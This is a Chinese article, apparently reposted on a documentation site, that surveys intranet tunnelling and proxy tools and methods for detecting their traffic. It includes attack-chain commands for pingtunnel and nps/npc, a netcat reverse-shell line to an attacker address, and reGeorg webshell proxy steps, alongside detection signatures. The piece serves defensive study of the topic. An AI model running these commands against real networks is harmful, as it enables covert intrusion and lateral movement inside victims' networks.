技术文档收录
ASCII
Tcpdump
Linux
WireGuard 一键安装脚本 | 秋水逸冰
SSH Config 那些你所知道和不知道的事 | Deepzz's Blog
Linux 让终端走代理的几种方法
ubuntu 20.04 server 版设置静态 IP 地址 - 链滴
Linux 挂载 Windows 共享磁盘的方法 - 技术学堂
将 SMB/CIFS 网络硬盘永久的挂载到 Ubuntu 上 - 简书
linux 获取当前脚本的绝对路径 | aimuke
[Linux] Linux 使用 / dev/urandom 生成随机数 - piaohua's blog
Linux 生成随机数的多种方法 | Just Do It
Linux 的 Centos7 版本下忘记 root 或者普通用户密码怎么办?
Git 强制拉取覆盖本地
SSH 安全加固指南 - FreeBuf 网络安全行业门户
Linux 系统安全强化指南 - FreeBuf 网络安全行业门户
Linux 入侵排查 - FreeBuf 网络安全行业门户
sshd_config 配置详解 - 简书
SSH 权限详解 - SegmentFault 思否
CentOS 安装 node.js 环境 - SegmentFault 思否
如何在 CentOS 7 上安装 Node.js 和 npm | myfreax
几款 ping tcping 工具总结
OpenVpn 搭建教程 | Jesse's home
openvpn 一键安装脚本 - 那片云
OpenVPN 解决 每小时断线一次 - 爱开源
OpenVPN 路由设置 – 凤曦的小窝
OpenVPN 设置非全局代理 - 镜子的记录簿
TinyProxy 使用帮助 - 简书
Ubuntu 下使用 TinyProxy 搭建代理 HTTP 服务器_Linux_运维开发网_运维开发技术经验分享
Linux 软件包管理工具 Snap 常用命令 - 简书
linux systemd 参数详解
Systemd 入门教程:命令篇 - 阮一峰的网络日志
记一次 Linux 木马清除过程
rtty:在任何地方通过 Web 访问您的终端
02 . Ansible 高级用法 (运维开发篇)
终于搞懂了服务器为啥产生大量的 TIME_WAIT!
巧妙的 Linux 命令,再来 6 个!
77% 的 Linux 运维都不懂的内核问题,这篇全告诉你了
运维工程师必备:请收好 Linux 网络命令集锦
一份阿里员工的 Java 问题排查工具单
肝了 15000 字性能调优系列专题(JVM、MySQL、Nginx and Tomcat),看不完先收
作业调度算法(FCFS,SJF,优先级调度,时间片轮转,多级反馈队列) | The Blog Of WaiterXiaoYY
看了这篇还不会 Linux 性能分析和优化,你来打我
2019 运维技能风向标
更安全的 rm 命令,保护重要数据
求你了,别再纠结线程池大小了!
重启大法好!线上常见问题排查手册
Docker
「Docker」 - 保存镜像 - 知乎
终于可以像使用 Docker 一样丝滑地使用 Containerd 了!
私有镜像仓库选型:Harbor VS Quay - 乐金明的博客 | Robin Blog
exec 与 entrypoint 使用脚本 | Mr.Cheng
Dockerfile 中的 CMD 与 ENTRYPOINT
使用 Docker 配置 MySQL 主从数据库 - 墨天轮
Alpine vs Distroless vs Busybox – 云原生实验室 - Kubernetes|Docker|Istio|Envoy|Hugo|Golang | 云原生
再见,Docker!
Python
Pipenv:新一代Python项目环境与依赖管理工具 - 知乎
Python list 列表实现栈和队列
Python 各种排序 | Lesley's blog
Python 中使用 dateutil 模块解析时间 - SegmentFault 思否
一个小破网站,居然比 Python 官网还牛逼
Python 打包 exe 的王炸 - Nuitka
Window
批处理中分割字符串 | 网络进行时
Windows 批处理基础命令学习 - 简书
在Windows上设置WireGuard
Windows LTSC、LTSB、Server 安装 Windows Store 应用商店
中间件
Nginx 中的 Rewrite 的重定向配置与实践
RabbitMQ 的监控
RabbitMq 最全的性能调优笔记 - SegmentFault 思否
为什么不建议生产用 Redis 主从模式?
高性能消息中间件——NATS
详解:Nginx 反代实现 Kibana 登录认证功能
分布式系统关注点:仅需这一篇,吃透 “负载均衡” 妥妥的
仅需这一篇,妥妥的吃透” 负载均衡”
基于 nginx 实现上游服务器动态自动上下线——不需 reload
Nginx 学习书单整理
最常见的日志收集架构(ELK Stack)
分布式之 elk 日志架构的演进
CAT 3.0 开源发布,支持多语言客户端及多项性能提升
Kafka 如何做到 1 秒处理 1500 万条消息?
Grafana 与 Kibana
ELK 日志系统之通用应用程序日志接入方案
ELK 简易 Nginx 日志系统搭建: ElasticSearch+Kibana+Filebeat
记一次 Redis 连接池问题引发的 RST
把 Redis 当作队列来用,你好大的胆子……
Redis 最佳实践:业务层面和运维层面优化
Redis 为什么变慢了?常见延迟问题定位与分析
好饭不怕晚,扒一下 Redis 配置文件的底 Ku
rabbitmq 集群搭建以及万级并发下的性能调优
别再问我 Redis 内存满了该怎么办了
Nginx 状态监控及日志分析
数据库
SQLite全文检索
Mysql 查看用户连接数配置及每个 IP 的请求情况 - 墨天轮
防火墙-iptables
iptables 常用规则:屏蔽 IP 地址、禁用 ping、协议设置、NAT 与转发、负载平衡、自定义链
防火墙 iptables 企业防火墙之 iptables
Linux 防火墙 ufw 简介
在 Ubuntu 中用 UFW 配置防火墙
在 Ubuntu20.04 上怎样使用 UFW 配置防火墙 - 技术库存网
监控类
开箱即用的 Prometheus 告警规则集
prometheus☞搭建 | zyh
docker 部署 Prometheus 监控服务器及容器并发送告警 | chris'wang
PromQL 常用命令 | LRF 成长记
持续集成CI/CD
GitHub Actions 的应用场景 | 记录干杯
GithubActions · Mr.li's Blog
工具类
GitHub 中的开源网络广告杀手,十分钟快速提升网络性能
SSH-Auditor:一款 SHH 弱密码探测工具
别再找了,Github 热门开源富文本编辑器,最实用的都在这里了 - srcmini
我最喜欢的 CLI 工具
推荐几款 Redis 可视化工具
内网代理工具与检测方法研究
环境篇:数据同步工具 DataX
全能系统监控工具 dstat
常用 Web 安全扫描工具合集
给你一款利器!轻松生成 Nginx 配置文件
教程类
手把手教你打造高效的 Kubernetes 命令行终端
Keras 作者:给软件开发者的 33 条黄金法则
超详细的网络抓包神器 Tcpdump 使用指南
使用 fail2ban 和 FirewallD 黑名单保护你的系统
linux 下 mysql 数据库单向同步配置方法分享 (Mysql)
MySQL 快速删除大量数据(千万级别)的几种实践方案
GitHub 上的优质 Linux 开源项目,真滴牛逼!
WireGuard 教程:使用 Netmaker 来管理 WireGuard 的配置 – 云原生实验室 - Kubernetes|Docker|Istio|Envoy|Hugo|Golang | 云原生
Tailscale 基础教程:Headscale 的部署方法和使用教程 – 云原生实验室 - Kubernetes|Docker|Istio|Envoy|Hugo|Golang | 云原生
Nebula Graph 的 Ansible 实践
改进你的 Ansible 剧本的 4 行代码
Caddy 2 快速简单安装配置教程 – 高玩梁的博客
切换至 Caddy2 | 某不科学的博客
Caddy2 简明教程 - bleem
树莓派安装 OpenWrt 突破校园网限制 | Asttear's Blog
OpenVPN 路由设置 – 凤曦的小窝
个性化编译 LEDE 固件
盘点各种 Windows/Office 激活工具
[VirtualBox] 1、NAT 模式下端口映射
VirtualBox 虚拟机安装 openwrt 供本机使用
NUC 折腾笔记 - 安装 ESXi 7 - 苏洋博客
锐捷、赛尔认证 MentoHUST - Ubuntu 中文
How Do I Use A Client Certificate And Private Key From The IOS Keychain? | OpenVPN
比特记事簿: 笔记: 使用电信 TR069 内网架设 WireGuard 隧道异地组网
利用 GitHub API 获取最新 Releases 的版本号 | 这是只兔子
docsify - 生成文档网站简单使用教程 - SegmentFault 思否
【干货】Chrome 插件 (扩展) 开发全攻略 - 好记的博客
一看就会的 GitHub 骚操作,让你看上去像一位开源大佬
【计算机网络】了解内网、外网、宽带、带宽、流量、网速_墩墩分墩 - CSDN 博客
mac-ssh 配置 | Sail
如何科学管理你的密码
VirtualBox NAT 端口映射实现宿主机与虚拟机相互通信 | Shao Guoliang 的博客
CentOS7 配置网卡为静态 IP,如果你还学不会那真的没有办法了!
laisky-blog: 近期折腾 tailscale 的一些心得
使用 acme.sh 给 Nginx 安装 Let’ s Encrypt 提供的免费 SSL 证书 · Ruby China
acme 申请 Let’s Encrypt 泛域名 SSL 证书
从 nginx 迁移到 caddy
使用 Caddy 替代 Nginx,全站升级 https,配置更加简单 - Diamond-Blog
http.proxy - Caddy 中文文档
动手撸个 Caddy(二)| Caddy 命令行参数最全教程 | 飞雪无情的总结
Caddy | 学习笔记 - ijayer
Caddy 代理 SpringBoot Fatjar 应用上传静态资源
使用 graylog3.0 收集 open××× 日志进行审计_年轻人,少吐槽,多搬砖的技术博客_51CTO 博客
提高国内访问 github 速度的 9 种方法! - SegmentFault 思否
VM16 安装 macOS 全网最详细
2022 目前三种有效加速国内 Github
How to install MariaDB on Alpine Linux | LibreByte
局域网内电脑 - ipad 文件共享的三种方法 | 岚
多机共享键鼠软件横向测评 - 尚弟的小笔记
本文档发布于https://mrdoc.fun
-
+
首页
内网代理工具与检测方法研究
> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [www.tuicool.com](https://www.tuicool.com/articles/2Yb2ayJ) 1、相关概念 ------ #### 1.1 隧道技术的概念 今天想跟大家聊一聊常用的内网代理工具和对这些工具常见的检测方法。内网代理一般使用隧道技术,援引一段百度百科对 “隧道技术” 的介绍: 隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据 (或负载) 可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递。 被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点,数据将被解包并转发到最终目的地。注意隧道技术是指包括数据封装、传输和解包在内的全过程。 #### 1.2 正向与反向代理的概念 正向代理和反向代理是资源访问上的两个不同概念,一般来讲有下面两个含义。 正向代理:当客户端无法访问外部资源的时候(由于诸如墙这样的原因),可以通过一个正向代理去间接访问,所以客户端需要配置代理服务器的 ip。正向代理是一个位于客户端和原始服务器之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标 (原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。 反向代理:客户端是无感知代理的存在,以代理服务器来接受 internet 上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给 internet 上请求连接的客户端。 ![](https://img1.tuicool.com/3Eraqer.jpg!web) 图 1.2.1 正向与反向代理之间的区别与联系 但是对于渗透攻击者来说,从视角上看到的正向代理和反向代理和传统定义的正向与反向代理有一定区别。简单来说可以这样理解: 正向代理:攻击者主动连接代理服务器 反向代理:代理服务器主动连接攻击者 #### 1.3 内网穿透的具体表现 内网穿透是指通过 “隧道技术” 打通了一条从攻击者到目标机器的通道,主要表现为下面三个方面。 1)反弹 shell 从目标机器能够反弹 shell 到攻击者的外网 vps,攻击者通过反弹回来的 shell 能够很方便的对目标内网进行扫描,这就是反向代理的一种表现形式。 2)端口转发 通过指定一条专门的通道,能够对目标内网某台机器的某个具体端口进行访问,这种端口转发通常是一对一的。 3)sock 代理或者 http 代理 开通一条专门的通道,并且提供 http 代理或者 sock 代理。攻击者可以通过配置响应的代理,直接访问目标内网任意机器,这就是正向代理的一种表现形式。 2、常用隧道介绍 -------- 我们进行内网渗透常用的隧道技术有 dns 隧道、http 隧道、ssh 隧道、icmp 隧道、tcp 隧道等。理论上所有的协议都可以作为隧道传输协议,并且传输的数据可以支持自定义的加解密算法。 按照隧道所处的协议层对不同的隧道技术进行分类,大体上可以分为下面几种。 #### 2.1 网络层隧道 #### 2.1.1 ICMP 隧道 #### 2.1.1.1 常见 ICMP 隧道工具 ICMP 隧道是指通过 ICMP 协议来传输数据,ICMP 协议不需要开放新的端口,容易被防火墙放过,是目前目标流行的一种绕过防火墙的数据传输方式之一。 #### 1)icmpsh icmpsh 是一个比较轻巧的 ICMP 隧道技术工具,能够通过 ICMP 来反弹 shell。优点是不需要目标机器上的 root 权限,缺点是功能单一,反弹回来的 cmd 极不稳定。 由于 icmpsh 对应传输的 ICMP 数据并没有加密,所以通过抓包很容易检测到其中的特征数据,如图 2.1.1.1.1 所示。 ![](https://img0.tuicool.com/FVVn6nI.jpg!web) 图 2.1.1.1.1 icmpsh 的数据包流量特征 github: https://github.com/inquisb/icmpsh 使用参考: https://www.freebuf.com/articles/web/250711.html #### 2)icmptunnel icmptunnel 是通过在客户端和服务端分别创建虚拟网卡,利用 ICMP 协议来传输两个虚拟网卡之间的数据。缺点是需要 root 权限,并且要创建网卡,容易被发现。 github: https://github.com/DhavalKapil/icmptunnel 使用参考: https://www.freebuf.com/articles/network/242015.html #### 3)pingtunnel Pingtunnel 是最流行的一款 ICMP 代理工具,提供对 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的功能。 利用条件:需要 root 或者 administrator/system 权限。网上有的说法是不需要管理员权限,本人实际测试中,管理员权限是需要的。 参考:https://github.com/esrrhs/pingtunnel ◆ 构建正向代理的 ICMP 攻击链路 被攻击端: Victim1 x.x.x.x (公网地址), 10.29.84.80(内网地址) Victim2 10.29.84.63(内网地址) 攻击端: Attack 随意,能上网就行 整个利用过程如下: ① 在 Victim1 的机器上运行代码,运行之后 Victim1 就是 ICMP SERVER。会接受客户端发过来的 ICMP 数据包。 ``` ./pingtunnel -type server -noprint 1 -nolog 1 ``` -type server 代表开启 ICMP SERVER 端,等待客户端进行连接与通信。 -noprint 1 不在控制台打印日志 -nolog 1 不存储日志文件 ② 在 Attack 的机器上运行代码,运行之后代表 Attack 的机器开启 4455 端口作为 sock5 代理。 ``` pingtunnel.exe -type client -l :4455 -s xx.xx.xx.xx -sock5 1 -noprint 1 -nolog 1 ``` 其中 xx.xx.xx.xx 替换为 Victim1 对应的 IP ③ 攻击者可以通过 Proxifier 设置全局的 sock5 代理来对目标内网的 Victim2 进行攻击。简单验证的话可以直接在浏览器中设置 sock5 代理。 ![](https://img2.tuicool.com/6B3amm6.jpg!web) 图 2.1.1.1.2. 正向代理的 ICMP 攻击链路 正向代理的 ICMP 攻击链路,要求目标机器 1 必须有公网 IP,并且能正常地进行 PING 操作。 ◆ 构建反向代理的 ICMP 攻击链路 被攻击端: Victim1 10.29.84.80(内网地址) Victim2 10.29.84.63(内网地址) 攻击端: Attack xx.xx.xx.xx(公网 IP) 反向代理和正向代理的攻击方式相比,就是把运行的代码交换了位置,原来在攻击者机器运行的程序换到目标机器 1 上运行,原来在目标机器 1 上运行的程序换到攻击者机器上运行。 ① 在 Attack 的机器上运行代码,运行之后 Attack 就是 ICMP SERVER。会接受客户端发过来的 ICMP 数据包。 ``` ./pingtunnel -type server -noprint 1 -nolog 1 ``` -type server 代表开启 ICMP SERVER 端,等待客户端进行连接与通信。 ② 在 Victim1 的机器上运行代码,运行之后代表 Victim1 的机器开启 4455 端口作为 sock5 代理。 ``` pingtunnel.exe -type client -l :4455 -s xx.xx.xx.xx -sock5 1 -noprint 1 -nolog 1 ``` 其中 xx.xx.xx.xx 替换为 Attack 对应的 IP ![](https://img1.tuicool.com/y2U7JjB.jpg!web) 图 2.1.1.1.3 反向代理的 ICMP 攻击链路 但是到目前为止,我们只是在目标机器 1 上开启了一个 sock5 的代理端口 4455,代理之后的请求会通过 ICMP 的请求包进行转发。 #### 2.1.1.2 ICMP 隧道检测技术 #### 1)通过 ICMP 数据包的数量检测 一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP 隧道的浏览器在同一时间会产生大量 ICMP 数据包。 ![](https://img1.tuicool.com/2uYrUvV.jpg!web) 图 2.1.1.2.1 短时间内产生大量 ICMP 数据包 #### 2)对单个数据包的 DATA 字段大小进行检验 ICMP 隧道数据包中 DATA 往往大于 64 比特 ![](https://img0.tuicool.com/AFvmmai.jpg!web) 图 2.1.1.2.2 单个 ICMP 数据包的大小远大于正常数据包 #### 3)寻找响应数据包和请求数据包 payload 不一致的 ICMP 数据包 ![](https://img2.tuicool.com/iYzu6rJ.jpg!web) 图 2.1.1.2.3 请求和响应不一致的数据包 ``` windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567 ``` 参考: https://www.freebuf.com/articles/network/202634.html #### 4)检查 ICMP 数据包的协议标签 比如 icmptunnel 会在所有 icmp payload 前面加上 TUNL 标识来标识隧道。 ![](https://img1.tuicool.com/ABrqy2b.jpg!web) 图 2.1.1.2.4 部分数据包的特殊标识 #### 2.2 传输层隧道 #### 2.2.1 TCP 隧道 #### 2.1.1.1 常见 TCP 隧道工具 #### 1)netcat 又名 nc,使用量最广的反弹 shell 的手段之一,linux 系统一般自带。 地址:https://eternallybored.org/misc/netcat/ 使用参考: https://blog.csdn.net/csacs/article/details/91440568 使用步骤,在服务端监听端口 ``` nc -lvvp 8443 ``` 在客户端连接服务端端口 ``` nc.exe -e cmd xx.xx.xx.xx 8443 ``` ![](https://img2.tuicool.com/u22M73B.jpg!web) 图 2.1.1.1.1 nc 反弹 shell 截图 #### 2)Powercat powershell 版本的 nc,用法基本上同 nc 一样。 参考:https://github.com/besimorhino/powercat #### 3)lcx lcx 是一款比较常见的端口转发工具,上个世纪的产品了,以前用的多,现在已经用的人比较少了,主要是基本上的杀软都会杀。 参考:https://github.com/windworst/LCX #### 4)HTRAN 功能基本上和 lcx 一样,但是是跨平台的。 参考: https://github.com/bGN4/HTran/tree/master/HTran #### 5)Iox iox 是一款功能强大的端口转发 & 内网代理工具,该工具的功能类似于 lcx 和 ew,但是 iox 的功能和性能都更加强大。 地址:https://github.com/EddieIvan01/iox 参考: https://www.freebuf.com/articles/network/244567.html #### 6)NATBypass 使用 go 语言编写的端口转发工具,功能和用法基本上和 lcx 一样,具有很好的跨平台性。 地址:https://github.com/cw1997/NATBypass #### 7)ew(EarthWorm) EW 是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。EW 自带支持的多级代理机制是的 EW 成为目前最受攻击者喜欢的工具之一。 地址:http://rootkiter.com/EarthWorm/ #### 8)Temite EarthWorm 的升级版,已经永久停止更新。 地址:http://rootkiter.com/Termite/ #### 9)Venom Venom 是一款为渗透测试人员设计的使用 Go 开发的多级代理工具。 地址:https://github.com/Dliv3/Venom/ #### 10)Stowaway Stowaway 是一个利用 go 语言编写的多级代理工具,功能非常类似 Venom。 地址:https://github.com/ph4ntonn/Stowaway #### 11)Ssocks 正向和反向的 socks 工具,可执行文件的大小很小 地址:https://github.com/54Pany/sSocks #### 12)frp frp 是一款轻量级的内网穿透工具,最早是为了方便运维人员远程对目标内网环境进行管理,提供了 tcp 端口转发、http 代理、socks5 代理等功能。 地址:https://github.com/fatedier/frp #### 13)npc/nps npc/nps 是一款基于 TCP 协议的代理工具,本身提供基于各种平台的客户端,稳定性好,并且可以自定义数据加密方式。支持端口转发,http 代理,sock5 代理。是目前最受攻击者喜欢的工具之一。 地址: https://ehang-io.github.io/nps/; https://github.com/ehang-io/nps 使用 nps/npc 构建反向代理使用步骤 ① 在外网的 vps 上面运行 ``` docker run --name nps -p 280:80 -p 2443:443 -p 28080:8080 -p 28024:8024 -p 5001-5100:5001-5100 -v /opt/conf:/conf ffdfgdfg/nps ``` ② 打开 nps 对应的 web 服务 http://xx.xx.xx.xx:28080/,输入默认口令 admin 123 新建一个客户端地址,记录下生成的随机 key ![](https://img2.tuicool.com/22Qvue6.jpg!web) ③在目标机器上面运行 ``` npc -server=xx.xx.xx.xx:28024 -vkey=kow4td3v819abec6 -type=tcp ``` ![](https://img2.tuicool.com/EvYz6zj.jpg!web) ④ 在 nps 的管理端,显示连接为 “在线” 之后,点击“隧道”,新增一个 socks5 隧道。 端口选择 5001-5100 中的某个端口。 ![](https://img1.tuicool.com/eEFnmiy.jpg!web) 经过上面的步骤之后,我们就在 vps 上面开放了一个 sock5 代理,端口为 5002。连接该代理的请求会直接转发到目标机器内网。 #### 2.1.1.2 TCP 隧道检测技术 不同的工具使用的 TCP 隧道发送和接受数据包的格式都不一样,并且由于 TCP 隧道目前来说相对比较成熟,也导致大多数 TCP 隧道都是属于加密隧道。 对于简单的非加密的隧道工具,通常我们直接从数据包中就能找到很明显的特征。如图 2.1.1.2.1 所示。 ![](https://img1.tuicool.com/fIzyY3R.jpg!web) 图 2.1.1.2.1NC 明文传输的 TCP 数据包特征流量 EarthWorm(简称 ew) 是一款比较好用的多级代理转发工具,相较于其他很多工具都要小很多,适用于一些特殊场景。与 nc 相比,EarthWorm 能够提供 socks5 代理的功能,适用性明显更广泛一些。但是从本质上来说 EarthWorm 还是只是流量转发的工具,并没有对流量进行加密,从流量中能够看到明文的内网请求的流量。 ![](https://img2.tuicool.com/UFrAFrB.jpg!web) 图 2.1.1.2.2 使用 EW 转发明文的内网请求流量 EW 在建立连接和维持连接的时候也有明显的特征,通过 TCP 连接发送和响应数据包 “xx xx 00 00 00 00” 来保持连接。最开始的时候客户端会向服务端发送“01 01 00 00 00 00”(如图 2.1.1.2.3 所示),服务端会响应“01 02 00 00 00 00”。后面的很多 tcp 包都和这个很相似,可以作为流量匹配的特征。 ![](https://img1.tuicool.com/36Zf6bm.jpg!web) 图 2.1.1.2.3 使用 EW 建立连接和维持连接状态的特征包 对于加密传输的数据包流量,就只能针对不同的工具寻找对应不同的特征点。抓了一下 npc 在建立连接之后的特征,npc 的客户端在与服务端建立连接之后,会一直发送带有当前时间信息的数据包。 ![](https://img1.tuicool.com/Vve22iq.jpg!web) 图 2.1.1.2.4 NPC 心跳数据包特征 frp 是另一种常用的内网代理工具,使用 frp 建立作为内网代理工具时也有明显的流量特征。在客户端和服务端建立 tcp 连接时,客户端会发送本机基础信息和 frp 版本信息,均为明文的流量信息,如图 2.1.1.2.5 所示。因为 frp 默认使用 TLS 加密数据,tcp 的数据包中会有很多关于 TLS 证书相关的信息,如图 2.1.1.2.6 所示。 ![](https://img1.tuicool.com/eIzQ7bE.jpg!web) 图 2.1.1.2.5 frp 连接建立时的流量特征 ![](https://img0.tuicool.com/qyaaAfF.jpg!web) 图 2.1.1.2.6 frp 数据包中的 TLS 特征 #### 2.1 网络层隧道 #### 2.2.2 UDP 隧道 #### 2.2.2.1 常见 UDP 隧道工具 #### 1)Udp2raw 一款常见的 UDP 隧道工具,该工具可以利用原始套接字并通过伪造的 TCP/UDP/ICMP 流量来帮助研究人员绕过 UDP 防火墙。 #### 2)frp frp 既是一款常见的 TCP 隧道工具,也是一款 UDP 隧道工具。 要通过 UDP 协议来转发内网请求,可以通过在 frp 中开启 kcp 模式,如图 2.2.2.1.1 所示。从图中可以看出,使用 UDP 协议和 TCP 协议的流量特征一样的。 ![](https://img1.tuicool.com/6zqemyq.jpg!web) 图 2.2.2.1.1 frp 使用 udp 协议搭建内网代理 #### 2.3 应用层隧道 #### 2.3.1 DNS 隧道 #### 2.3.1.1 常见 DNS 隧道工具 #### 1)dnscat2 通过将其他协议封装在 DNS 协议中传输建立通信。因为在我们的网络世界中 DNS 是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤 DNS 流量,这就给 DNS 作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作。 地址:https://github.com/iagox86/dnscat2 #### 2)dnscat2-powrshell Powershelll 版本的 dnscat2。 地址:https://github.com/lukebaggett/dnscat2-powershell #### 3)dns2tcp dns2tcp 是一个利用 DNS 隧道转发 TCP 连接的工具,支持 KEY 和 TXT 类型的请求,用 C 语言开发。它分为两个部分,服务端和客户端,服务端运行在 linux 服务器上,客户端可以运行在 linux 和 windows 上 (其他平台没有测试过),编译完成后在服务端上的可执行文件名称为 dns2tcpd,在客户端(linux) 上的名称为 dns2tcpc。 地址:https://github.com/alex-sector/dns2tcp #### 4)Iodine iodine 是目前比较活跃,知名度比较大的一个 dns tunneling 实现工具,平台覆盖范围广,它可以运行在 Linux, Mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows 上,甚至还有 android 客户端,不过它需要安装 TUN/TAP。 地址:https://github.com/yarrick/iodine #### 2.3.1.2 DNS 隧道检测技术 #### 1)通过请求和相应包的大小进行监测 通常 dns tunneling 为了取得较大的带宽,会选择构造尽量大的 dns 请求和响应。 2)检测 TXT 记录类型发送请求和响应,而在正常的 DNS 网络流量中,TXT 记录的比例可能只有 1%-2%,如果时间窗口内,TXT 记录的比例激增,那么也意味着存在异常。 3)还有各种各样的论文,有好多论文都提到了怎么检测 DNS 隧道流量检测。运用了各种算法,看不懂。 #### 2.3.2 SSH 隧道 ssh 隧道通常不使用第三方的工具,直接使用 linux 自带的 openssh 客户端就可以进行端口转发。使用方法如下 ``` sudo ssh -Nf -L 192.168.0.159:3334:192.168.213.131:3389 192.168.0.159 ``` ![](https://img0.tuicool.com/vUV3Uf6.jpg!web) 这里我们用到了 SSH 客户端的三个参数,下面我们一一做出解释: ``` ◆ -N 告诉SSH客户端,这个连接不需要执行任何命令。仅仅做端口转发 ◆ -f 告诉SSH客户端在后台运行 ◆ -L 做本地映射端口,被冒号分割的三个部分含义分别是最后一个参数是我们用来建立隧道的中间机器的IP地址(IP: 192.168.0.159) ◆ 需要使用的本地端口号(端口: 3334) ◆ 需要访问的目标机器IP地址(IP: 192.168.213.131) ◆ 需要访问的目标机器端口(端口: 3389) ``` 那么本地局域网的任何机器访问 192.168.0.159:3334 都会自动被映射到 192.168.213.131:3389。 ![](https://img0.tuicool.com/e6baMbQ.jpg!web) 图 2.3.2.1 ssh 端口转发之后效果 #### 2.3.3 HTTP 隧道 #### 2.3.3.1 常见的 HTTP 隧道工具 #### 1)reDuh 最早出现的 http 正向代理的工具,能够把 webshell 转化进行端口转发,工具客户端提供 gui 界面。 #### 2)tunnel 属于 reDuh 的升级产品,通过在攻击端使用 python 把 webshell 转化为 sock 代理和端口转发。,目前来说还是有比较大的使用量。 地址:https://github.com/SECFORCE/Tunna #### 3)reGeoge reGeoge 属于 tunnel 的替代和升级产品,通过在攻击端使用 python 把 webshell 转化为 sock5 代理。属于目前还比较流行的一种内网穿透方式。 地址:https://github.com/sensepost/reGeorg 具体的使用步骤如下: ◆ 上传对应的 tunnel 文件到服务端,并且进行访问。如图 2.3.3.1.1 所示。 ![](https://img1.tuicool.com/ZJbMnmU.jpg!web) 图 2.3.3.1.1 tunnel 文件上传之后返回页面 ◆ 本地攻击端通过 python2 运行 python reGeorgSocksProxy.py -p 8888 -u [http://x.x.x.x/tunnel.php](http://x.x.x.x/tunnel.php) ![](https://img0.tuicool.com/JnMBbaa.jpg!web) 图 2.3.3.1.2 通过 webshell 开启本地 sock5 代理 通过上面这两步之后就在本地开启了一个 sock5 代理,通过这个代理就可以直接访问到目标服务器的内网,配合 proxifier 等工具就能对目标内网进行扫描和其他攻击行为。 #### 4)Neo-reGeorg 重构版 reGeorg,提高稳定性和可用性,避免特征检测,更新活跃. 地址:https://github.com/L-codes/Neo-reGeorg #### 5)ABPTTS TCP over HTTP, 即通过 HTTP 隧道转发 TCP 连接, 数据加密,可自定义 HTTP 数据,对抗特征检测十分优秀,创建的隧道十分稳定,比较遗憾的是支持的 web 脚本类型只有 aspx 和 jsp。 地址:https://github.com/nccgroup/ABPTTS #### 2.3.3.2 HTTP 隧道检测技术 http 的隧道通常需要上传一个脚本文件(asp, aspx, php, jsp)。通过脚本文件来复用靶机的 web 端口,构造一条代理链路或者进行端口转发。 #### 1)通过脚本文件页面返回内容进行检测。 reDuh 脚本文件默认返回。 ![](https://img2.tuicool.com/eymUrua.jpg!web) 图 2.3.3.2.1 reDuh 脚本默认返回 比如上传 ReGeorg tunnel 文件,页面对应的返回基本上都是下面的页面内容。 ![](https://img0.tuicool.com/rimIJnm.jpg!web) 图 2.3.3.2.2 reGeorg 页面默认响应 这种 http 代理类型的工具刚开始的时候都会有一个建立连接的请求包,这个请求包都具有比较明显的特征,如下所示。 ![](https://img0.tuicool.com/AVV3IzF.jpg!web) 2.3.3.2.3 reGeorg 请求的默认请求头,其中 Accept-Encoding 字段有特征 ![](https://img1.tuicool.com/3aENV3m.jpg!web) 2.3.3.2.4 tunnel 默认的请求头,其中 authorization 字段有特征 #### 2)通过流量中的数据特征来分析攻击行为。 这里的流量特征基本上都是明文信息,只要按照通用的攻击检测技术就可以了。 [原文链接](https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&mid=2247483876&idx=1&sn=b71f016be9f345699efcbffdc27b626f&chksm=c2a1d56df5d65c7bbee6e1052d0405eab5cb6dbb98bd549459b83b5a2ab6b530cd078ca5398e&token=229680544&lang=zh_CN#rd)
Jonny
2022年5月4日 11:30
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
【腾讯云】爆款2核2G4M云服务器一年45元,企业首购最高获赠300元京东卡
【腾讯云】爆款2核2G4M云服务器一年45元,企业首购最高获赠300元京东卡
Markdown文件
Word文件
PDF文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
有效期